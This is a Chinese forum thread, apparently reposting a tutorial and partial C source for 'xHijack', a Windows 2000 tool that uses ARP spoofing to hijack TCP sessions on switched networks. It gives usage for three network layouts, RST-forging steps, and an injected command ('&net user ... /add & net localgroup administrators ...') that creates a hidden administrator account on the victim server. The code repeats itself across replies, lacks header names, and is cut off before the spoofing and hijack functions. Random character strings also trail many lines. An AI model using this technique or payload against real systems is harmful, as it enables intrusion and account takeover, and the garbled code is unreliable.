QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4263|回复: 8
打印 上一主题 下一主题

再谈交换环境下的会话劫持(For windows2000)

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 01:44 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
第一步是开启IP Routing的功能,修改注册表 : f6 `; }4 ^7 l) Z( l( }
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。 6 P2 Q1 o( x8 [& n! G
第二步是ARP欺骗,具体原理我就不说了。 : |, i( Z/ A$ j) s- g
第三步就是开始劫持啦。
2 W7 I; T/ J0 |! @$ Z& }# q
* ?5 q" o& g1 G% a我写了个程序xHijack可以实现第二、三步功能,使用如下: 9 @# U4 z1 x9 M  V

! [5 k8 A- `! @Usage: xHijack ServerSide ClientSide 0 ?: K2 @4 k- {0 {" m

8 U2 r% u$ {( U: r1 w6 Q+ @; c( \下面根据三种不同的情况分别说明如何输入参数: " _% m& k* [3 o& i) c9 O8 h% o
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 8 B; C2 X. Y% h
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 / L6 N3 Y4 l/ l* ~' G1 R; s
c:\>xHijack 192.168.0.2 192.168.0.3
$ S8 ?, y# s1 U" w7 U- |( g劫持前数据流程:server <--> client 6 i, c9 F# b; t- W* E: _
劫持后数据流程:server <--> hijacker <--> client + v" X: F) T' }8 Y, W7 o* K% u

  @7 I! Y. c1 s, |<2>服务器、劫持者处于同一局域网,客户端处于别的网络。 ; P* x2 g: C! B7 e7 y3 ?* K6 i
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数 6 L6 s/ V, X+ P+ p# Q; v
xHijack 202.202.202.2 202.202.202.1
2 E8 M0 l$ T$ }: w4 V8 o9 |劫持前数据流程:server <--> gw <--> routes <--> client
# @/ H; i8 w# t& v+ k8 a# O劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client 2 ^  c% c! k$ B6 Y+ z

* V& S: v$ L' Z4 I<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
2 ?( N* e3 R) H, T5 w9 Q假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
4 b: G6 c& p9 B+ u& k/ `xHijack 192.168.0.1 192.168.0.2
3 T9 ^" N: v' }2 D5 t6 {劫持前数据流程:client <--> gw <--> routes <--> server
; q5 B  w/ M, _8 i# O* I$ F+ y* X劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server & ?; C! k. W8 [# J
; M) g6 Q, s7 S$ r
输入两个参数后,会提示你选择网卡,然后会提示 + {8 i- u- q0 G0 l. H# v4 }
l        <-- List all connections 6 ^! j' @& y, u* @" @( T8 [
r x       <-- Reset the number x connection
; s) X, F, `8 u  {# Xw x       <-- Watch the number x connection
6 m# f6 x5 r/ g# K3 oh x command   <-- Hijack the number x connection to execute command ( q; A$ W3 {9 z- Y9 C. q
. ?3 i% [8 }/ n. z2 i7 {  R
list、reset、watch命令我就不解释了。
8 t+ Y1 S$ e( Y  l假如现在有如下连接 ) W! o5 u' A# B5 e' Q8 s
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
4 T" }- Q2 b. {' c; [我们想要劫持这个连接运行我们的命令,输入 5 h- o/ c0 @" U
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
( H4 A  ^9 m) K, y/ H为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是 # q7 r) `7 F( d; L' z
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 ' ?; B' V9 c" R' P& @
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。 % g& l8 @1 G8 L" d/ V

* @$ B% K% |" m劫持的流程如下: # M9 y8 r8 F; _1 l4 f; r& L
<1>伪装成Server给Client发一个rst包
# n" P5 S- N& D; a* K8 T( y% E+ |9 T<2>伪装成Client给Server发了一个数据包
- P' z: w6 Q/ K- C9 m9 }3 ?3 G<3>Server回一个ACK包给client ) Y/ g! J  `) H$ p
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server
5 g- \2 [5 Q/ _( V6 A) q* U5 {
9 t) H& `0 T- A; C, D2 [% i这样的话,我们只能发一个伪造的包,但我想已经足够了。
1 C9 H: l3 C4 {( u1 y1 s/ W想要一直劫持那个连接也可以,如下
! S8 [3 K6 I% I5 _4 K# |9 w# ?" \( @/ X7 y<1>伪装成Server给Client发一个rst包 $ V9 Z! ?) f% y+ _) N. j2 s* D4 E
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA + I4 n# S3 y' {' t% B$ Y5 R) V
<3>伪装成Client给Server发了一个数据包 7 O( V- F: w$ d( q
<4>Server回一个ACK包给client % d- ^) z% o6 D9 v: N* b+ Y1 A3 T
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
3 x: X/ ~- D) n$ D<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。 3 t0 K) l" p* u- B( F& d1 W

4 U1 z6 o# {) _, q( D不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。 + Q. n5 T; v* H/ {9 l3 t

6 ?' a4 A' M7 a7 C3 ^
. }+ R( Q) _: }/ |6 ?0 ]刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 9 ]+ O& c' F; z( K; }
还请各位多多指点。
0 ^! I7 ^! Y' M% M; w
4 M4 f- r1 U' w6 Y% \; EBTW:我没有空间,编译好的程序没地方放:( 1 e# n/ |4 _4 r2 X/ |, P9 o

& h9 H+ y0 z% l4 H) |% d( {3 a3 f. z, f1 _2 S2 r
5 u. f( ~" j. z3 b: m: B
参考资料 8 j2 s0 R7 E2 {, c# L3 E3 g
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
. L& W1 ^# `0 \( |, `: l<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
9 E) {* w5 O# U7 N
* F4 U1 U& B& n
3 \1 {, a) f7 B以下是程序代码
' f) J! M) }) U. v9 O----------------------------------------------------------------------
' p. s  N5 R6 a3 N% b: X/*-----------------------------------------------------------------------------
' K5 P5 k# C4 a8 S6 c" v( n3 SFile      : xHijack.c 6 K. p% {' @- u! T: M  M
Version      : 1.0 , s' C& a/ j; W$ t8 K0 I8 _
Create at    : 2002/8/12 . j9 p% @5 d. T; R3 e4 j* ?* I
Last modifed at  : 2002/8/19
: y8 q$ l* W, Q! i5 n( mAuthor      : eyas 9 [) U/ d$ b) J& O$ U/ o
Email      : ey4s@21cn.com
0 d" h4 o0 n  M: s, ~4 E3 p# f1 u0 oHomePage    : www.ey4s.org . g% ]! [# o) A% U
感谢refdom和shotgun发布的源代码,使我获益非浅。 ' N. ~% b: d8 _0 C. B" Z4 d
If you modify the code, or add more functions, please email me a copy. . I- a7 z1 J# |( c; P
: ^/ y- D3 ?7 q  b9 G2 K% [6 o
备注:
* g4 e  m2 j0 r; c/ v8 A* @<>没有考虑IP头、TCP头超过20字节的情况 & d- W  Y4 x) E( a1 R* M* f
<>没有考虑数据包分片的情况 9 C7 k6 F5 C' o- a
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
( y; P: h2 V) P9 z) I显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问 ! \: m1 N( L# }2 x6 U/ ?
题了。
0 I8 K; O5 t" _' r: s8 K  ]. ~( H9 u1 h1 O
也许下一版本会修正这些问题,也许不会有下一版本了。
. Z7 J/ a, X; `7 _; `* Y; i2 ^0 \- Z1 d' i1 y/ P! R
-----------------------------------------------------------------------------*/ 7 k0 \4 M3 n7 j& X) m9 f6 b2 g5 K) b
#include
, Z( L; }! c5 U% c# o4 O2 Y0 l#include
9 `3 j) R7 i5 o( u#include - D* ?: A& w& p0 l0 b: ~
#include
' A; E$ @& N) }( T#include 4 y' [4 C  J9 \/ S7 x
#include
* S4 T& F% t: U4 d( C7 o#include 5 o6 Q0 H' @  I, x2 H, Z3 w% l9 h

7 U0 x# D& r  o1 g, @#pragma comment (lib, "packet")
5 D# f! ~" P) U, m( J' |#pragma comment (lib, "iphlpapi")
' _* ]) I9 C7 G2 M#pragma comment (lib, "ws2_32")
5 e* r' A2 S: O+ p  c2 F
; I3 z4 N6 f8 e2 B' ~- {4 S" G" `#define Max_Num_Adapter 10
: J( o- k7 I  s7 H0 n#define Max_Num_IPAddr  5
2 v; ~5 {) ~- b. b3 Y* D/ N#define EPT_IP      0x0800      /* type: IP  */
" R* G9 m- ^& @" {- w$ u2 @#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */ 8 K4 j6 h2 m2 X8 C) m
#define EPT_ARP      0x0806      /* type: ARP */ & v$ T  l, _% c" n# ]
- X& B* |. z7 j( X  P. Y+ {# b
#define  ACTION_NONE    0
0 ^$ _0 ?) L& w. d#define  ACTION_WATCH  1 3 S( t" b+ F) A3 g( r! J
#define  ACTION_RESET  2
. x* T2 p$ v3 @' X! d#define ACTION_HIJACK  3
; L  E& u6 S. N) T. ^: ^2 x# r6 v/ j+ y2 u3 Q2 ~. b6 Z
/*以1字节对齐*/
# i; n% r6 O( g- f0 V, y/ q% x#pragma pack(1) / U- {& ?1 X9 N) z
typedef struct _ehhdr 4 n3 M# t' r5 \1 T" W& b) n. d
{ ( I6 m% o# R2 M) i+ D: S% Q" _
  unsigned char  DestMAC[6]; 8 ?- s- W( I3 u
  unsigned char  SourceMAC[6];
0 |7 }/ N- c: ^& z  W8 r- A+ `  unsigned short  EthernetType; ) d+ e1 M# r1 z! g8 T+ |& ?
}EHHDR, *PEHHDR; + [( N* w/ ?0 r+ H2 M0 @

9 U" W1 u/ ~! {& Ctypedef struct _iphdr        //定义IP首部 * f4 ^5 N# [% Q, S  c9 T2 p
{ 2 [+ f( H$ ]6 i+ J; ^
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
3 h2 S( V/ G+ O; r" m  unsigned char tos;        //8位服务类型TOS - r) L+ X+ K7 }1 {& B/ R/ X/ }
  unsigned short total_len;    //16位总长度(字节) , E9 \+ _+ V7 f' P
  unsigned short ident;      //16位标识 ! _! F' C# N6 q
  unsigned short frag_and_flags;  //3位标志位
6 ?5 _3 }, H- D/ k3 Y  f  unsigned char ttl;        //8位生存时间 TTL * ]% w5 V7 f% o9 q. Y
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
4 `6 N' w7 |6 f& \% j  unsigned short checksum;    //16位IP首部校验和
! K* n: L3 ^& f6 y* M, U# `  unsigned int sourceIP;      //32位源IP地址
! @/ P9 y; G8 r2 C  unsigned int destIP;      //32位目的IP地址 , y7 v5 f. X3 E9 `2 G/ y$ e
}IPHDR, *PIPHDR;
  K# X; v* N2 f& v+ ]" e+ G0 ?( A0 a. x, a: L
typedef struct _tcphdr        //定义TCP首部 ' t7 h9 e4 y3 z! k. `
{ , e! h6 t9 P7 \3 s* j1 O, z
  USHORT th_sport;        //16位源端口
- t8 T, Y- Z5 J# i7 A( K- c# e  USHORT th_dport;        //16位目的端口 8 l: r$ w2 _# }
  unsigned int th_seq;      //32位序列号
! L6 n1 Q5 D; ]  unsigned int th_ack;      //32位确认号
$ ^- G- M: ^3 T0 E% F  unsigned char th_lenres;    //4位首部长度/6位保留字 / |! X; Y7 D: z2 `1 R
  unsigned char th_flag;      //6位标志位
$ u& ?! E/ k* ]  USHORT th_win;          //16位窗口大小
" T# ?, @, B. Q4 C7 K3 l  USHORT th_sum;          //16位校验和 / y9 V+ X4 P( }' Y. a) ]
  USHORT th_urp;          //16位紧急数据偏移量
3 \3 M$ }9 u. |6 [' }# i- N}TCPHDR, *PTCPHDR; 0 ~7 V7 W0 C$ Z5 _0 R3 S3 c
  \. N% J* h' N( c
typedef struct _psdhdr        //定义TCP pseudo header
+ g! O* U" s+ O" X6 W* }8 `{               3 d: b# q: E8 S+ ^6 w4 v
  unsigned long saddr;
$ ^2 z0 O, @0 _& k  O$ u  unsigned long daddr;
) G* ~+ s4 z- N2 }, {) O$ Q  char mbz;
& W4 O. u# P, U& m" d  F3 B  char ptcl;
- \( G( N8 t+ A! E& \9 K9 |* Y$ c6 C  unsigned short tcpl;
6 f7 X5 W7 `% \8 q}PSDHDR, *PPSDHDR; ( Y, ?  Z) Q1 _- ]! x+ Z5 f4 P
5 }+ \7 p4 k. f6 P" V
typedef struct _arphdr
5 e' Z7 z, w9 a' k& @$ U: E  o; q{
" u7 j3 i# L. h: d7 e  unsigned short  HrdType;//硬件类型
) B* S+ k( s: @4 x6 D# G  unsigned short  ProType;//协议类型
% s0 c" m/ @2 F/ J, D7 W& \& W  unsigned char  HrdAddrlen;//硬件地址长度
8 q$ b) D( o) o2 L  unsigned char  ProAddrLen;//协议地址长度
: M* g5 J& ?  y2 B+ m5 F  unsigned short  op;//operation ) R- q2 t9 L% W- {" l) W- A2 ~
  unsigned char  SourceMAC[6];/* sender hardware address */
, X  L5 J+ w+ c  unsigned long  SourceIP;/* sender protocol address */ 9 }- O$ G. S; s/ s  |
  unsigned char  DestMAC[6];/* target hardware address */ 2 l, }; B3 O6 R, R% P" i0 V( Q$ D" \
  unsigned long  DestIP;/* target protocol address */ - B0 b, B2 a4 G& o
}ARPHDR, *PARPHDR; ; F: j5 |: s# q) F6 b4 @. e

5 S; J+ }+ k2 T9 Wtypedef struct _ArpPacket
) e2 j$ L& M2 p0 g' X& ~{
& h5 j, S4 _! r$ ~6 ]" ?& H9 V  EHHDR  ehhdr; * E. X- m) p. ?; w
  ARPHDR  arphdr; ) T0 [$ M' J  g5 [
}ARPPACKET, *PARPPACKET;
* T8 a& f+ s4 i( |% {& e3 `4 c/ i' u$ i( Y3 M$ G5 Q2 {
typedef struct _tcppacket
  l& t/ s3 S" r2 `{
& ~* H0 c/ d" L  EHHDR  ehhdr; 0 R( o" |$ P( x# e9 l$ \2 @0 C; T
  IPHDR  iphdr;
. j3 }1 e- M3 \& C& g3 L* c7 q. Y  TCPHDR  tcphdr;
4 @8 f+ O5 S/ u8 g7 E}TCPPACKET, *PTCPPACKET;
* H. b( P; g( v1 {  H- Y& _8 F: L. a: \: k* \0 t
typedef struct _conninfo
9 R1 f" y% E* Y{ 0 a/ S, f3 F3 g- k8 q5 h
  DWORD  dwServerIP; . |. ]! a  X% f
  USHORT  uServerPort;
4 C8 |6 ^% W( N! o2 }9 Z  DWORD  dwClientIP;
6 o: L4 L- ^9 l0 P& v  USHORT  uClientPort;
' p* S) z/ p: y2 r. `  DWORD  ident;//标识
, T( S1 g8 T6 e9 B0 ~  BOOL  bActive; : Y: r, q1 ^, T% f2 Z) I8 S
  struct  _conninfo  *Next; 0 `1 K1 E( B6 O* h0 M7 ^
}CONNINFO, *PCONNINFO;
/ C* x, ?1 q  H- b, H
* b, x2 ]( S0 c/ c' s//定义全局变量
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP, 8 e( T& s" ^$ w1 ?
        g_ClientSideIP, : X! q0 R5 E9 J/ z. _+ L
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
+ R8 P! F# L9 h7 k: T; J1 ~        g_TotalIP = 0;// ' f3 X" b6 e5 q9 m
unsigned char  g_szOwnMAC[6];//本机MAC地址
6 Y* ?6 V( B- }2 S; B4 |unsigned char  g_szClientSideMAC[6];
4 R6 k: Q# z& ]/ T. E9 v8 z3 vunsigned char  g_szServerSideMAC[6];
1 K1 X8 a& e4 w8 ]! mchar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 5 I% [2 }* G% j' W7 Y
LPADAPTER    g_lpAdapter; 7 h% T0 S; Q  n; N, M! A1 Z
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread , f4 }* u  u( X7 O
HANDLE      g_hThread[4];
3 C1 n0 T& Z& G: u0 Jchar      g_szCommand[128];//command to execute after hijack
8 K4 L% [$ A- EDWORD      g_dwAction;//action type
; m# @9 f, a3 }% i) F/ N: ^  FDWORD      g_dwCtrlConn;//action 所控制连接的标识
- `. X/ V3 b% ADWORD      g_ident;//节点标识,递增 5 M8 i: p# o! V8 U0 @/ \, Q
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
: c# c2 H' W- n7 n# M, b; J        g_pConnHead = NULL, ! p# F" u- l$ C+ E2 i! v6 a
        g_pConnLast = NULL;
, A; J# E- j. O3 X5 ?char      g_szSendPacketBuf[1514]; : ]) C( o4 n9 d. s( E" m# b8 n
LPPACKET    g_lpSendPacket; & {, k7 n! o  w9 e: l0 E
//函数
; l8 l! |( |0 w5 f8 |+ D7 H) _( Pvoid      usage(void); * a( u; Z/ Q  Q
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
# ]$ L' k9 P. G/ J1 evoid      ListAllConnection();//列出当前所有的连接
  x3 A* [7 ~$ [% p* Nvoid      ResetActionAllFlag();
5 x+ s+ Q' x  H* [3 e; kUSHORT      checksum(USHORT *, int); ) \0 ~. X4 ]5 E+ }3 [, l
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
% h+ X0 O9 A7 _0 f( C- aBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 , p! J$ c1 r3 w" S8 o' a' \$ W
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
$ W' f+ |  S( p$ k0 i- f! LBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 2 d% C6 ]- K1 b8 K
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 , A: n) G" C: }9 a7 o7 @4 O! @
DWORD      GetConnNum(char *, DWORD, DWORD *); / E! E5 F0 R: z4 b, Y
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
$ Y6 m, N" t" LDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
' c) v% v' D. p/ F9 MDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
* M! l0 Y- r+ K) FDWORD  WINAPI  InterfaceThread(LPVOID);//
7 A; @, G. T) B% x+ a2 aBOOL  WINAPI  CtrlEvent(DWORD); / Z8 R: C6 A- T4 Q" ]
$ u  k+ C0 q& @8 D

8 C" H' `: H8 d+ f' v) m3 w) X- j0 C3 E9 Y. f6 S4 e' F
int main(int argc, char **argv) 4 }6 a; K7 h" h
{
3 O! G: n, @6 l9 D# o" W/ X  struct    bpf_stat stat; 3 s( q+ j4 m6 r5 G& R
  int      i;
2 Y6 \; z( x1 ^+ X9 q1 M0 R
0 s5 [$ K, R2 k7 `2 e1 W9 N0 Q6 L- X  usage(); 5 _+ I; b0 {" x- e7 P: S# Z8 A
  if (argc != 3) return 0;
5 ?  `$ F' @" G% X6 V/ @  //取得参数
3 Q- a! j: _  ?7 F& X0 a7 F: J  g_ServerSideIP = inet_addr(argv[1]);
' @5 T7 n; A+ q. w& v  g_ClientSideIP = inet_addr(argv[2]); 0 Y" X* z1 W. ~7 i5 N$ @
  //初始化adapter & 一些全局变量 ' q+ W& ]+ q1 t5 }- ~
  g_lpAdapter = InitAdapter();
9 U: C. |9 w' _& m6 Y  if(!g_lpAdapter) return 0;
$ y0 b. d1 F4 x! z- Q$ K  //get ServerSide MAC & ClientSide MAC * i- s: u0 D- z2 @: ^: T
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
9 J  r# k9 l2 `% h  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
& w9 w" i: u  n- x8 }  //create arp spoof thread     
1 u: D& G2 p0 ^4 n  R6 W% k) g0 U( \  i = 1; ; _6 X2 j% S) ^9 S
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
) i" @! x/ u3 A1 z- \  Sleep(500);
  ~/ p$ A+ ]1 ?) ^% g1 o) f$ t  i = 2;
* O0 F5 R, c- V4 l" _  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); 0 Q6 v( a& a( K9 d0 Q' N
  //create analyse packet thread
9 w* f6 B5 b+ m( E/ a  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
( d1 {: M$ `( e% C: ~! a  //create interface thread ! I6 K$ M0 m6 V0 C
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
# W7 V% C& o) B# n( O  //set console ctrl handle
( L( G, A3 m2 ]/ ^. @* t  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ; Z/ C9 w- h- I
  {
' I+ h/ V, k1 s+ l' i    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
3 h  k) n# Q9 ?3 G# m9 T    return 0;
* B. K. B9 Y' A7 j, o  } - ]" N/ _3 m* y- ?: l; u
  //wait for any thread exit
" u) u1 a# D8 I; M8 n! q  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
3 c/ a( s( p, u2 C8 F- y8 b+ `  //print the capture statistics
& U5 i/ @1 U2 L4 ]: i% p  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) 7 a" K  x0 a( k. L# t
    printf("Warning: unable to get stats from the kernel!\n"); / E+ b! n& Y. n/ m' S6 ^3 [% ?
  else . A7 X! f# [- U7 c9 j& k) {
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); 8 n7 G( K, r2 \3 y3 a( X  a
  //free resource   * Y! l8 y# D3 i" ]4 f
  PacketFreePacket(g_lpSendPacket);
4 n4 }% S$ Y: X( Z* G4 Z. U  PacketCloseAdapter(g_lpAdapter);
3 M' U# b: Y. Q  return 0;
* u- o( X8 \" h0 z% R2 w} 1 c  o5 y6 {" t# g

6 o3 T* _" c. W1 {' t. Y5 O* x// # n2 D. s, X' N* X
//功能:重置所有于ACTION有关的标志 . X0 p& r, o% @& L* h
//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

unsigned int  g_ServerSideIP,
7 j$ Q3 |) g0 a6 w        g_ClientSideIP, ! ]$ z' F. L3 J5 |9 ^
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
. U# z# u7 D8 |0 J, l0 C        g_TotalIP = 0;//
6 p8 _# Y9 }! P" D0 Z6 Cunsigned char  g_szOwnMAC[6];//本机MAC地址 " X& Z) t( e' ^$ q
unsigned char  g_szClientSideMAC[6];
" y1 d) Y! S. J; J9 t  D! j; g% hunsigned char  g_szServerSideMAC[6];
+ F! W6 r% Y# ^# }char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
+ T, l, d2 A7 g: R" gLPADAPTER    g_lpAdapter;
6 K; i/ x3 O# _- y3 f//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
) `2 ]) N$ \( U; ZHANDLE      g_hThread[4]; 1 u/ Q  F( i  |
char      g_szCommand[128];//command to execute after hijack 4 Z0 `' |* @7 D0 I
DWORD      g_dwAction;//action type
4 ~  [' U( e' H; m2 q6 b2 A1 y- _+ iDWORD      g_dwCtrlConn;//action 所控制连接的标识
" W0 o( K3 L: Z. FDWORD      g_ident;//节点标识,递增
# x! V- v- p/ L+ ^PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
4 O; k- Q# O6 [, g! p$ e' r        g_pConnHead = NULL, 5 f4 v% g: l7 r+ q$ ?2 U6 _5 J
        g_pConnLast = NULL; ) m% e# F/ K4 C: }, t" L+ y
char      g_szSendPacketBuf[1514]; % I( B9 d8 X6 N5 F+ Z
LPPACKET    g_lpSendPacket;
1 u+ ^2 ~) ?, V/ ?, k4 z8 w% q$ D//函数 / s; `' {! q4 L6 U/ f
void      usage(void);
: D7 n- m/ A+ }9 E! |4 I6 [& _void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
8 d& e) R. ?3 C3 U  F: S- w. evoid      ListAllConnection();//列出当前所有的连接 " G: v% z: i1 }. e! U5 [! T, k
void      ResetActionAllFlag();
  _- J& t$ v$ K3 e) s8 z0 jUSHORT      checksum(USHORT *, int);
4 F. p2 e+ Y" l. ?" b2 m  nBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
: q( u7 W/ ?# yBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
; t. k/ E/ K7 ?$ Q* OLPADAPTER    InitAdapter();//初始化一些参数和全局变量 6 e2 s- Q/ v  a6 \1 p5 O: A
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包 # N/ W! G: G2 H2 t
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包 1 {6 u2 H2 @/ K0 W) M
DWORD      GetConnNum(char *, DWORD, DWORD *);
! ~# q4 }- `7 H$ lDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
9 F. M6 t$ o& TDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
' u5 S3 b$ r) N! N" n+ n/ XDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 $ ^& p1 ?" ]- W( x+ R& R; g4 V" b
DWORD  WINAPI  InterfaceThread(LPVOID);//
& m9 E4 q/ M. l) XBOOL  WINAPI  CtrlEvent(DWORD); 4 a/ j/ `- o& F/ [) ]: u- u
8 u1 E5 e; N8 N6 G5 B+ X; d8 P( N
0 M& ^. Y  u4 [1 S9 o+ F
. y4 |0 _, Z3 S+ f' Y' @
int main(int argc, char **argv)
7 k6 }7 E2 ~! t6 Y3 z' E{
$ c& r$ M7 t% p% k! W3 p  struct    bpf_stat stat;
/ |6 A5 V8 D' Z- y  int      i; 4 U  @1 E6 P. s$ {- Q

, B  w$ i. X. J! U$ O  usage();
4 }# A* ?4 B$ L7 _$ T6 G' i( c  if (argc != 3) return 0; 5 f3 p- j9 i4 N
  //取得参数
) f0 {- }6 o; _+ a  g_ServerSideIP = inet_addr(argv[1]); * O* E# s! ?/ i+ B4 @9 T
  g_ClientSideIP = inet_addr(argv[2]);
* Z+ W( z( Z) t* V+ H  //初始化adapter & 一些全局变量 # B$ q' U% X7 x# W2 i; o- N7 q. }3 N
  g_lpAdapter = InitAdapter();
, A0 m* w, S5 K4 }0 c6 V  if(!g_lpAdapter) return 0;
! \" g: I& P3 Q3 [; o# S  //get ServerSide MAC & ClientSide MAC / v4 V% G) n2 f2 ]. B2 K  ]
  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
; t/ @7 V  b. `- q+ e  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
, v, V( R. J  t& k) f. V  //create arp spoof thread     / d. @' S5 C6 e( O8 V
  i = 1;
% X0 T( H  T# S' ?; [  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
2 t3 V! @+ F7 {. G! z  Sleep(500);
1 O9 H2 H7 a, K6 Q- y0 a1 b* Q  i = 2; 8 I  H" }  R: T4 M( z+ U
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
4 c& q% O% j; w: K" A  @& t  t8 u  //create analyse packet thread + O0 s0 E, }  S( O7 [
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
8 |. r2 n( B4 i& @) q+ E( ?  //create interface thread 6 w2 a! b/ `8 i& Q8 D
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  d0 |! A+ J' t/ @  //set console ctrl handle
/ |$ A5 q/ s7 q2 Y  A  J  C$ s: x8 v  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))   D, s  b) N7 b+ e  p& t
  { 6 H4 b; n7 w2 u
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 6 a5 u  V0 ?6 E' M( }2 w
    return 0; * y- ~1 W1 }8 E/ k' t+ x/ i
  } + L) B/ z8 ]. I% m% B( l
  //wait for any thread exit ! n8 C( ?1 b9 x
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
+ w! o" c. t; V- J1 ?: r  \  //print the capture statistics
, j, J: @8 F3 \0 X0 v/ I( ?  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) : g: L* a5 S- ~' q+ ^( Q
    printf("Warning: unable to get stats from the kernel!\n");
! Z+ Q) O) e  P% [% Y: F. y  else
; _; y8 v$ m" z6 N' ]    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop); ' I/ |3 L* r( s  G! W" Z/ r6 H3 e
  //free resource   
1 {' J5 N  C  J* G  E( \+ D! y  PacketFreePacket(g_lpSendPacket); ( c& ~$ V; K  P7 Y8 K4 g1 B
  PacketCloseAdapter(g_lpAdapter);
3 ?7 I- z+ W2 w* d  return 0;
" e# S( J$ P1 }7 [) R1 \4 G} " i, j- u* J1 S' ?; B: {

9 f; d8 {. z- ?" q# [# W7 b// $ y3 \9 _8 u' p. P0 T
//功能:重置所有于ACTION有关的标志
. z$ Z2 x+ L$ g8 e- ?7 C/ ]//
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

